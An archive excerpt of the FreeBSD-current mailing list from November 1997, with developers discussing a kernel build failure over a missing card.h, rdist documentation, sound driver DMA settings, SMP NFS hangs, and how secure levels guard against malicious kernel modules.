Unix. 213 Lakeside Drive Apt T-1 | Greenbelt, MD 20770 | I run Journey2 and picnic, both FreeBSD (301) 220-2114 | version 3.0 current -- and great FUN! ----------------------------+----------------------------------------------- From owner-freebsd-current Wed Nov 5 17:54:46 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id RAA28470 for current-outgoing; Wed, 5 Nov 1997 17:54:46 -0800 (PST) (envelope-from owner-freebsd-current) Received: from freebie.lemis.com (gregl1.lnk.telstra.net [139.130.136.133]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id RAA28455 for ; Wed, 5 Nov 1997 17:54:30 -0800 (PST) (envelope-from grog@freebie.lemis.com) Received: (from grog@localhost) by freebie.lemis.com (8.8.7/8.8.5) id MAA02969 for FreeBSD-current@FreeBSD.ORG; Thu, 6 Nov 1997 12:24:27 +1030 (CST) Resent-Message-Id: <199711060154.MAA02969@freebie.lemis.com> Message-ID: <19971106122356.08580@lemis.com> Date: Thu, 6 Nov 1997 12:23:56 +1030 From: Greg Lehey To: Mike Smith Subject: Re: Kernel build fails: missing card.h References: <19971106102358.35648@lemis.com> <199711060137.MAA00537@word.smith.net.au> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.84e In-Reply-To: <199711060137.MAA00537@word.smith.net.au>; from Mike Smith on Thu, Nov 06, 1997 at 12:07:20PM +1030 Organisation: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-41-739-7062 WWW-Home-Page: http://www.lemis.com/~grog Resent-From: grog@lemis.com Resent-Date: Thu, 6 Nov 1997 12:24:26 +1030 Resent-To: FreeBSD current users Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Thu, Nov 06, 1997 at 12:07:20PM +1030, Mike Smith wrote: >> For the last couple of weeks, my -CURRENT kernel build has failed >> because it couldn't find card.h. It's there, all right, in >> /sys/pccard/card.h, but config doesn't seem to put it into the >> /sys/compile/ directory. If I put it there manually, the >> kernel build works fine. Am I missing something? Yes, I rebuilt >> config first (well, after the first failure), and it didn't help. > > Did you update your kernel crd->card, Why do I need this? Anyway, I tried, and it didn't go away. > as well as files.i386? With the cvs update. It currently shows: $Id: files.i386,v 1.178 1997/10/28 07:28:34 joerg Exp $ Greg From owner-freebsd-current Wed Nov 5 18:21:53 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id SAA00828 for current-outgoing; Wed, 5 Nov 1997 18:21:53 -0800 (PST) (envelope-from owner-freebsd-current) Received: from usr03.primenet.com (tlambert@usr03.primenet.com [206.165.6.203]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id SAA00822 for ; Wed, 5 Nov 1997 18:21:40 -0800 (PST) (envelope-from tlambert@usr03.primenet.com) Received: (from tlambert@localhost) by usr03.primenet.com (8.8.5/8.8.5) id TAA13397; Wed, 5 Nov 1997 19:21:27 -0700 (MST) From: Terry Lambert Message-Id: <199711060221.TAA13397@usr03.primenet.com> Subject: Re: [Fwd: Malicious Linux modules - be worried !] To: Matthew.Thyer@dsto.defence.gov.au (Matthew Thyer) Date: Thu, 6 Nov 1997 02:21:25 +0000 (GMT) Cc: freebsd-current@FreeBSD.ORG In-Reply-To: <34611335.8601A3B@dsto.defence.gov.au> from "Matthew Thyer" at Nov 6, 97 11:15:41 am X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > I assume FreeBSD LKMs could do this kind of thing too. Yesi, unlesss you run at secure level 2, which does not allow module loading. You can also do this on older SVR3/4 systems with device driver loading and no system call or other module type loading. There is nothing that prevents patching the system call table from any loadable module. In fact, techinically, you can write /dev/kmem to get this same functionality, even if you have no module loader mechanism at all, so your implied feeling of security from not having one is false. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-current Wed Nov 5 18:23:49 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id SAA00950 for current-outgoing; Wed, 5 Nov 1997 18:23:49 -0800 (PST) (envelope-from owner-freebsd-current) Received: from Kitten.mcs.com (Kitten.mcs.com [192.160.127.90]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id SAA00935 for ; Wed, 5 Nov 1997 18:23:44 -0800 (PST) (envelope-from nash@Venus.mcs.net) Received: from Venus.mcs.net (nash@Venus.mcs.net [192.160.127.92]) by Kitten.mcs.com (8.8.5/8.8.2) with ESMTP id UAA12212; Wed, 5 Nov 1997 20:23:43 -0600 (CST) Received: from localhost (nash@localhost) by Venus.mcs.net (8.8.7/8.8.2) with SMTP id UAA19556; Wed, 5 Nov 1997 20:23:42 -0600 (CST) Date: Wed, 5 Nov 1997 20:23:41 -0600 (CST) From: Alex Nash To: Matthew Thyer cc: freebsd-current@FreeBSD.ORG Subject: Re: [Fwd: Malicious Linux modules - be worried !] In-Reply-To: <34611335.8601A3B@dsto.defence.gov.au> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Thu, 6 Nov 1997, Matthew Thyer wrote: > I assume FreeBSD LKMs could do this kind of thing too. FreeBSD disallows LKM loading when kern.securelevel > 0. Unfortunately, it's often not practical to run with securelevel set that way. Alex From owner-freebsd-current Wed Nov 5 18:35:41 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id SAA01659 for current-outgoing; Wed, 5 Nov 1997 18:35:41 -0800 (PST) (envelope-from owner-freebsd-current) Received: from khavrinen.lcs.mit.edu (khavrinen.lcs.mit.edu [18.24.4.193]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id SAA01649 for ; Wed, 5 Nov 1997 18:35:25 -0800 (PST) (envelope-from wollman@khavrinen.lcs.mit.edu) Received: (from wollman@localhost) by khavrinen.lcs.mit.edu (8.8.5/8.8.5) id VAA22035; Wed, 5 Nov 1997 21:35:09 -0500 (EST) Date: Wed, 5 Nov 1997 21:35:09 -0500 (EST) From: Garrett Wollman Message-Id: <199711060235.VAA22035@khavrinen.lcs.mit.edu> To: Matthew Thyer Cc: freebsd-current@FreeBSD.ORG Subject: [Fwd: Malicious Linux modules - be worried !] In-Reply-To: <34611335.8601A3B@dsto.defence.gov.au> References: <34611335.8601A3B@dsto.defence.gov.au> Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk < said: > I assume FreeBSD LKMs could do this kind of thing too. Indeed. That's why LKM ``write'' access is disabled when running in secure mode. Always run important machines in secure mode. -GAWollman -- Garrett A. Wollman | O Siem / We are all family / O Siem / We're all the same wollman@lcs.mit.edu | O Siem / The fires of freedom Opinions not those of| Dance in the burning flame MIT, LCS, CRS, or NSA| - Susan Aglukark and Chad Irschick From owner-freebsd-current Wed Nov 5 19:14:38 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id TAA04836 for current-outgoing; Wed, 5 Nov 1997 19:14:38 -0800 (PST) (envelope-from owner-freebsd-current) Received: from word.smith.net.au (vh1.gsoft.com.au [203.38.152.122]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id TAA04830 for ; Wed, 5 Nov 1997 19:14:33 -0800 (PST) (envelope-from mike@word.smith.net.au) Received: from word.smith.net.au (localhost.gsoft.com.au [127.0.0.1]) by word.smith.net.au (8.8.7/8.8.5) with ESMTP id NAA00938; Thu, 6 Nov 1997 13:40:35 +1030 (CST) Message-Id: <199711060310.NAA00938@word.smith.net.au> X-Mailer: exmh version 2.0zeta 7/24/97 To: Greg Lehey cc: John-Mark Gurney , FreeBSD current users Subject: Re: Kernel build fails: missing card.h In-reply-to: Your message of "Thu, 06 Nov 1997 12:10:17 +1030." <19971106121017.16581@lemis.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Thu, 06 Nov 1997 13:40:34 +1030 From: Mike Smith Sender: owner-freebsd-current@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > Well, no. This isn't a PCCARD machine, so it has neither crd0 nor > card0. Why should I need this in a desktop? In any case, I tried it, > and it still doesn't work. The files that fail to compile are > i386/i386/autoconf.c, i386/isa/if_ed.c, i386/isa/if_ep.c and > i386/isa/sio.c. > > Thanks for your help, anyway. In that case you have to rebuild config, or update your config-related files. It is not generating card.h, which should contain #define NCARD 0 It appears that Nate should have (but didn't) bump the config version required stuff. I'll do that now; done. mike From owner-freebsd-current Wed Nov 5 19:37:09 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id TAA06855 for current-outgoing; Wed, 5 Nov 1997 19:37:09 -0800 (PST) (envelope-from owner-freebsd-current) Received: from time.cdrom.com (root@time.cdrom.com [204.216.27.226]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id TAA06824; Wed, 5 Nov 1997 19:37:04 -0800 (PST) (envelope-from jkh@time.cdrom.com) Received: from time.cdrom.com (jkh@localhost.cdrom.com [127.0.0.1]) by time.cdrom.com (8.8.7/8.6.9) with ESMTP id TAA04105; Wed, 5 Nov 1997 19:37:00 -0800 (PST) To: "Julian H. Stacey" Cc: current@FreeBSD.ORG Subject: Re: rdist Alternatives In-reply-to: Your message of "Tue, 04 Nov 1997 21:40:19 GMT." <199711042140.WAA07484@flip.jhs.no_domain> Date: Wed, 05 Nov 1997 19:37:00 -0800 Message-ID: <4101.878787420@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > + type remote services executing succesfully & in silence. 1. Please don't use the & construction in man pages. What works for your "email voice" isn't necessarily grammatically correct, and we should try to aspire to a higher standard for our documentation. :) 2. Sending diffs to the freebsd-current mailing list in hopes that someone will commit them is a recipe with an already proven lack of success. The send-pr(1) command or http://www.freebsd.org/send-pr is far more preferable for this kind of submission. Thanks! Jordan From owner-freebsd-current Wed Nov 5 20:02:15 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id UAA11810 for current-outgoing; Wed, 5 Nov 1997 20:02:15 -0800 (PST) (envelope-from owner-freebsd-current) Received: from time.cdrom.com (root@time.cdrom.com [204.216.27.226]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id UAA11799 for ; Wed, 5 Nov 1997 20:02:11 -0800 (PST) (envelope-from jkh@time.cdrom.com) Received: from time.cdrom.com (jkh@localhost.cdrom.com [127.0.0.1]) by time.cdrom.com (8.8.7/8.6.9) with ESMTP id UAA04477; Wed, 5 Nov 1997 20:01:14 -0800 (PST) To: Chuck Robey cc: Matthew Thyer , freebsd-current@FreeBSD.ORG Subject: Re: [Fwd: Malicious Linux modules - be worried !] In-reply-to: Your message of "Wed, 05 Nov 1997 19:47:03 EST." Date: Wed, 05 Nov 1997 20:01:14 -0800 Message-ID: <4473.878788874@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > I don't always tend to be the most paranoid person around, so it seems a > lot of trouble, tho, because if someone's got root privs already, this is > just one of many possible things to kill. Why go to this kind of trouble, True, though the whole idea with BSD's secure levels is to make a root compromise far less potentially damaging if you've set up the server in question to be "hardened" against such things. The fact that this doesn't always work 100% in practice is still not a general indictment of the whole concept, however, as it's a pretty good idea to try and make a machine secure enough that physical access is required to seriously compromise it. Perhaps we should add a hook to disable the loading of LKMs entirely if the secure level is above a certain number. Jordan From owner-freebsd-current Wed Nov 5 20:25:59 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id UAA14022 for current-outgoing; Wed, 5 Nov 1997 20:25:59 -0800 (PST) (envelope-from owner-freebsd-current) Received: from freebie.lemis.com (gregl1.lnk.telstra.net [139.130.136.133]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id UAA14017 for ; Wed, 5 Nov 1997 20:25:54 -0800 (PST) (envelope-from grog@freebie.lemis.com) Received: (from grog@localhost) by freebie.lemis.com (8.8.7/8.8.5) id OAA07106; Thu, 6 Nov 1997 14:55:45 +1030 (CST) Message-ID: <19971106145544.65346@lemis.com> Date: Thu, 6 Nov 1997 14:55:44 +1030 From: Greg Lehey To: Mike Smith Cc: FreeBSD current users Subject: Re: Kernel build fails: missing card.h References: <19971106122356.08580@lemis.com> <199711060322.NAA00995@word.smith.net.au> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.84e In-Reply-To: <199711060322.NAA00995@word.smith.net.au>; from Mike Smith on Thu, Nov 06, 1997 at 01:52:47PM +1030 Organisation: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-41-739-7062 WWW-Home-Page: http://www.lemis.com/~grog Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Thu, Nov 06, 1997 at 01:52:47PM +1030, Mike Smith wrote: >>> >>> Did you update your kernel crd->card, >> >> Why do I need this? Anyway, I tried, and it didn't go away. > > Because the 'crd' device was renamed 'card'? Well, why do I need crd or card? I thought that was only for PCMCIA and PPCARD stuff. >>> as well as files.i386? >> >> With the cvs update. It currently shows: >> >> $Id: files.i386,v 1.178 1997/10/28 07:28:34 joerg Exp $ > > And sys/conf/files? Does it contain : > > pccard/pccard.c optional card > pccard/pccard_beep.c optional card That's the one. It wasn't getting updated because it still had my ISDN stuff in it. But this doesn't explain why I suddenly need PCCARD in a desktop machine. Greg From owner-freebsd-current Wed Nov 5 20:32:46 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id UAA14470 for current-outgoing; Wed, 5 Nov 1997 20:32:46 -0800 (PST) (envelope-from owner-freebsd-current) Received: from freebie.lemis.com (gregl1.lnk.telstra.net [139.130.136.133]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id UAA14453; Wed, 5 Nov 1997 20:32:41 -0800 (PST) (envelope-from grog@freebie.lemis.com) Received: (from grog@localhost) by freebie.lemis.com (8.8.7/8.8.5) id PAA07212; Thu, 6 Nov 1997 15:02:25 +1030 (CST) Message-ID: <19971106150224.17812@lemis.com> Date: Thu, 6 Nov 1997 15:02:24 +1030 From: Greg Lehey To: "Jordan K. Hubbard" Cc: "Julian H. Stacey" , current@FreeBSD.ORG Subject: Re: rdist Alternatives References: <199711042140.WAA07484@flip.jhs.no_domain> <4101.878787420@time.cdrom.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.84e In-Reply-To: <4101.878787420@time.cdrom.com>; from Jordan K. Hubbard on Wed, Nov 05, 1997 at 07:37:00PM -0800 Organisation: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-41-739-7062 WWW-Home-Page: http://www.lemis.com/~grog Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Wed, Nov 05, 1997 at 07:37:00PM -0800, Jordan K. Hubbard wrote: > > 2. Sending diffs to the freebsd-current mailing list in hopes that > someone will commit them is a recipe with an already proven lack of > success. The send-pr(1) command or http://www.freebsd.org/send-pr > is far more preferable for this kind of submission. FreeBSD.org - Document not found The file http://www.freebsd.org/send-pr does not exist at this server. The closest match to your request is http://www.freebsd.org. Please contact the server administrator www@freebsd.org. Greg From owner-freebsd-current Wed Nov 5 21:03:58 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id VAA16514 for current-outgoing; Wed, 5 Nov 1997 21:03:58 -0800 (PST) (envelope-from owner-freebsd-current) Received: from time.cdrom.com (root@time.cdrom.com [204.216.27.226]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id VAA16496; Wed, 5 Nov 1997 21:03:51 -0800 (PST) (envelope-from jkh@time.cdrom.com) Received: from time.cdrom.com (jkh@localhost.cdrom.com [127.0.0.1]) by time.cdrom.com (8.8.7/8.6.9) with ESMTP id VAA04935; Wed, 5 Nov 1997 21:03:36 -0800 (PST) To: Greg Lehey cc: "Julian H. Stacey" , current@FreeBSD.ORG Subject: Re: rdist Alternatives In-reply-to: Your message of "Thu, 06 Nov 1997 15:02:24 +1030." <19971106150224.17812@lemis.com> Date: Wed, 05 Nov 1997 21:03:36 -0800 Message-ID: <4932.878792616@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > FreeBSD.org - Document not found > > The file > > http://www.freebsd.org/send-pr Pedant. :-) Add the usual .html and be happy. Jordan From owner-freebsd-current Wed Nov 5 21:37:43 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id VAA18403 for current-outgoing; Wed, 5 Nov 1997 21:37:43 -0800 (PST) (envelope-from owner-freebsd-current) Received: from word.smith.net.au (vh1.gsoft.com.au [203.38.152.122]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id VAA18392 for ; Wed, 5 Nov 1997 21:37:37 -0800 (PST) (envelope-from mike@word.smith.net.au) Received: from word.smith.net.au (localhost.gsoft.com.au [127.0.0.1]) by word.smith.net.au (8.8.7/8.8.5) with ESMTP id QAA01399; Thu, 6 Nov 1997 16:03:44 +1030 (CST) Message-Id: <199711060533.QAA01399@word.smith.net.au> X-Mailer: exmh version 2.0zeta 7/24/97 To: Greg Lehey cc: FreeBSD current users Subject: Re: Kernel build fails: missing card.h In-reply-to: Your message of "Thu, 06 Nov 1997 14:55:44 +1030." <19971106145544.65346@lemis.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Thu, 06 Nov 1997 16:03:43 +1030 From: Mike Smith Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > On Thu, Nov 06, 1997 at 01:52:47PM +1030, Mike Smith wrote: > >>> > >>> Did you update your kernel crd->card, > >> > >> Why do I need this? Anyway, I tried, and it didn't go away. > > > > Because the 'crd' device was renamed 'card'? > > Well, why do I need crd or card? I thought that was only for PCMCIA > and PPCARD stuff. It is. It wasn't clear which part of your ass you had left uncovered; you don't need the 'card' device in your kernel, but it wasn't clear whether you had the old 'crd' one there or not. If you had, you would have seen similar symptoms under some circumstances. > > And sys/conf/files? Does it contain : > > > > pccard/pccard.c optional card > > pccard/pccard_beep.c optional card > > That's the one. It wasn't getting updated because it still had my > ISDN stuff in it. But this doesn't explain why I suddenly need > PCCARD in a desktop machine. You don't. How long have you been building BSD kernels? Do I really have to explain this to *you*??? Mind-boggling you what. mike From owner-freebsd-current Wed Nov 5 21:48:31 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id VAA18922 for current-outgoing; Wed, 5 Nov 1997 21:48:31 -0800 (PST) (envelope-from owner-freebsd-current) Received: from freebie.lemis.com (gregl1.lnk.telstra.net [139.130.136.133]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id VAA18910 for ; Wed, 5 Nov 1997 21:48:26 -0800 (PST) (envelope-from grog@freebie.lemis.com) Received: (from grog@localhost) by freebie.lemis.com (8.8.7/8.8.5) id QAA07623; Thu, 6 Nov 1997 16:18:18 +1030 (CST) Message-ID: <19971106161818.25201@lemis.com> Date: Thu, 6 Nov 1997 16:18:18 +1030 From: Greg Lehey To: Mike Smith Cc: FreeBSD current users Subject: Re: Kernel build fails: missing card.h References: <19971106145544.65346@lemis.com> <199711060533.QAA01399@word.smith.net.au> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.84e In-Reply-To: <199711060533.QAA01399@word.smith.net.au>; from Mike Smith on Thu, Nov 06, 1997 at 04:03:43PM +1030 Organisation: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-41-739-7062 WWW-Home-Page: http://www.lemis.com/~grog Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Thu, Nov 06, 1997 at 04:03:43PM +1030, Mike Smith wrote: >> On Thu, Nov 06, 1997 at 01:52:47PM +1030, Mike Smith wrote: >>>>> >>> And sys/conf/files? Does it contain : >>> >>> pccard/pccard.c optional card >>> pccard/pccard_beep.c optional card >> >> That's the one. It wasn't getting updated because it still had my >> ISDN stuff in it. But this doesn't explain why I suddenly need >> PCCARD in a desktop machine. > > You don't. How long have you been building BSD kernels? Do I really > have to explain this to *you*??? OK, OK, it's been a tiring day. Yes, I was missing the point that card.h was generated by config. Conceding you what Grog From owner-freebsd-current Wed Nov 5 21:49:11 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id VAA18957 for current-outgoing; Wed, 5 Nov 1997 21:49:11 -0800 (PST) (envelope-from owner-freebsd-current) Received: from freebie.lemis.com (gregl1.lnk.telstra.net [139.130.136.133]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id VAA18950; Wed, 5 Nov 1997 21:49:05 -0800 (PST) (envelope-from grog@freebie.lemis.com) Received: (from grog@localhost) by freebie.lemis.com (8.8.7/8.8.5) id QAA07633; Thu, 6 Nov 1997 16:18:55 +1030 (CST) Message-ID: <19971106161854.18767@lemis.com> Date: Thu, 6 Nov 1997 16:18:54 +1030 From: Greg Lehey To: "Jordan K. Hubbard" Cc: "Julian H. Stacey" , current@FreeBSD.ORG Subject: Re: rdist Alternatives References: <19971106150224.17812@lemis.com> <4932.878792616@time.cdrom.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.84e In-Reply-To: <4932.878792616@time.cdrom.com>; from Jordan K. Hubbard on Wed, Nov 05, 1997 at 09:03:36PM -0800 Organisation: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-41-739-7062 WWW-Home-Page: http://www.lemis.com/~grog Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Wed, Nov 05, 1997 at 09:03:36PM -0800, Jordan K. Hubbard wrote: >> FreeBSD.org - Document not found >> >> The file >> >> http://www.freebsd.org/send-pr > > Pedant. :-) Add the usual .html and be happy. As I said, it's been a tiring day. You'll be happy to know that, as a result of this, it's now in the book, and people might even use it. Greg From owner-freebsd-current Wed Nov 5 22:50:01 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id WAA24429 for current-outgoing; Wed, 5 Nov 1997 22:50:01 -0800 (PST) (envelope-from owner-freebsd-current) Received: from labinfo.iet.unipi.it (labinfo.iet.unipi.it [131.114.9.5]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id WAA24372 for ; Wed, 5 Nov 1997 22:49:45 -0800 (PST) (envelope-from luigi@labinfo.iet.unipi.it) Received: from localhost (luigi@localhost) by labinfo.iet.unipi.it (8.6.5/8.6.5) id GAA24505; Thu, 6 Nov 1997 06:37:40 +0100 From: Luigi Rizzo Message-Id: <199711060537.GAA24505@labinfo.iet.unipi.it> Subject: Re: attach_mss for full duplex: possible misspelling? To: kushnir@ap3.gluk.apc.org (Vladimir Kushnir) Date: Thu, 6 Nov 1997 06:37:39 +0100 (MET) Cc: freebsd-current@FreeBSD.ORG In-Reply-To: from "Vladimir Kushnir" at Nov 6, 97 02:24:02 am X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Sorry, perhaps I'm just plainly stupid but isn't there a misspelling in an > attach_mss routine (new sound driver, sound/ad1848.c, lines 1724-1725)? It > calls ad1848_init like > > ad1848_init("MS Sound System0", hw_config->io_base + 4, > hw_config->irq, > hw_config->dma, > hw_config->dma, 0, hw_config->osp); > } > > (with both dma equal). Should not it spell > ... > hw_config->dma, > hw_config->dma2, > ... instead? At least, this way it initializes my card (CS4231 based > Yamaha OPL3 PnP duplex card) correctly. of course you can try, but the AD1848 and some clones have only 1 DMA channel, and I believe the code is not enough informed to know which card it is attaching. BTW the Yamaha as far as I know is not based on the CS4231 -- it uses a proprietary chip which _emulates_ some features of the CS423x but has some differences (e.g. a master volume control using separate registers). Cheers Luigi From owner-freebsd-current Wed Nov 5 22:54:35 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id WAA24929 for current-outgoing; Wed, 5 Nov 1997 22:54:35 -0800 (PST) (envelope-from owner-freebsd-current) Received: from sinbin.demos.su (sinbin.demos.su [194.87.5.31]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id WAA24913 for ; Wed, 5 Nov 1997 22:54:28 -0800 (PST) (envelope-from bag@sinbin.demos.su) Received: by sinbin.demos.su id JAA28059; (8.6.12/D) Thu, 6 Nov 1997 09:52:26 +0300 From: bag@sinbin.demos.su (Alex G. Bulushev) Message-Id: <199711060652.JAA28059@sinbin.demos.su> Subject: Re: current/nfs In-Reply-To: <199710311420.RAA02226@sinbin.demos.su> from "Alex G. Bulushev" at "Oct 31, 97 05:20:45 pm" X-ELM-OSV: (Our standard violations) no-mime=1; no-hdr-encoding=1 To: bag@sinbin.demos.su (Alex G. Bulushev) Date: Thu, 6 Nov 1997 09:52:26 +0300 (MSK) Cc: smp@csn.net, current@FreeBSD.ORG, mishania@demos.su X-Mailer: ELM [version 2.4ME+ PL32 (25)] Content-Type: text Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > now we use identical 4 fbsd boxes with intel pr440fx, each with 2 intel EE/100 > 100base-T full-duplex, one is nfs server and 3 nfs clients > nfs clients works fine with 3.0-971011 and 971012-SNAP kernel/SMP > > nfs server hangs 1-3 times a day with SMP kernel 971011 and 971012 > latest src's not tested ... > > with nonSMP kernel 971012 it works without troubles: > > 5:14ÐÐ up 3 days, 1:01, 23 users, load averages: 0.47, 0.54, 0.56 9:44 up 8 days, 17:30, 17 users, load averages: 0.22, 0.32, 0.31 it still work with nonSMP kernel ... > > #> yell it can't start second CPU, - mp_lock 1000005, abort trap. It will do ok > > #> on 233Mhz with 19971011-current, as well as 970926-SNAP. > > > > # this is probably the race fixed by: > > with 971012-SNAP it works on 200 and 233 MHz, thanks ... it hangs after 5 day ... on 200MHz mp_lock ..000002 fxp1 time out ... and hangs without reboot ... on 233 MHz with 971011 and 970926 it works without troubles ... this is one of 4 box'es with PR440FX, other 3 box'es have no difficulties on 200/233MHz, but this one works only on 233Mhz :( Alex. > > > > Thank you. > > > > # Steve Passe > > > > -- > > -mishania, stressed. > > > > From owner-freebsd-current Thu Nov 6 00:21:14 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id AAA29998 for current-outgoing; Thu, 6 Nov 1997 00:21:14 -0800 (PST) (envelope-from owner-freebsd-current) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id AAA29993; Thu, 6 Nov 1997 00:21:04 -0800 (PST) (envelope-from j@uriah.heep.sax.de) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id JAA17453; Thu, 6 Nov 1997 09:20:52 +0100 Received: (from j@localhost) by uriah.heep.sax.de (8.8.7/8.8.5) id IAA20269; Thu, 6 Nov 1997 08:53:12 +0100 (MET) Message-ID: <19971106085311.IG60689@uriah.heep.sax.de> Date: Thu, 6 Nov 1997 08:53:11 +0100 From: j@uriah.heep.sax.de (J Wunsch) To: current@FreeBSD.ORG, se@FreeBSD.ORG Cc: gemohler@tgn2.tgn.net Subject: Re: Drive Mapping problem References: <199711052216.OAA07186@silvia.HIP.Berkeley.EDU> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <199711052216.OAA07186@silvia.HIP.Berkeley.EDU>; from Satoshi Asami on Nov 5, 1997 14:16:09 -0800 Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Satoshi Asami wrote: > I don't know why, Stefan will probably tell you (and even fix it) if > you send him a boot -v output. In the meantime, you can probably get > around it by disabling the SCSI BIOS on the first Adaptec (so it won't > be registered as "80h", or "C:", or whatever). Or by just putting 0:sd(1,a)kernel into your /boot.config. -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-current Thu Nov 6 00:22:09 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id AAA00181 for current-outgoing; Thu, 6 Nov 1997 00:22:09 -0800 (PST) (envelope-from owner-freebsd-current) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id AAA00169 for ; Thu, 6 Nov 1997 00:22:03 -0800 (PST) (envelope-from j@uriah.heep.sax.de) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id JAA17474 for freebsd-current@FreeBSD.ORG; Thu, 6 Nov 1997 09:22:02 +0100 Received: (from j@localhost) by uriah.heep.sax.de (8.8.7/8.8.5) id JAA20329; Thu, 6 Nov 1997 09:11:49 +0100 (MET) Message-ID: <19971106091149.JR42640@uriah.heep.sax.de> Date: Thu, 6 Nov 1997 09:11:49 +0100 From: j@uriah.heep.sax.de (J Wunsch) To: freebsd-current@FreeBSD.ORG 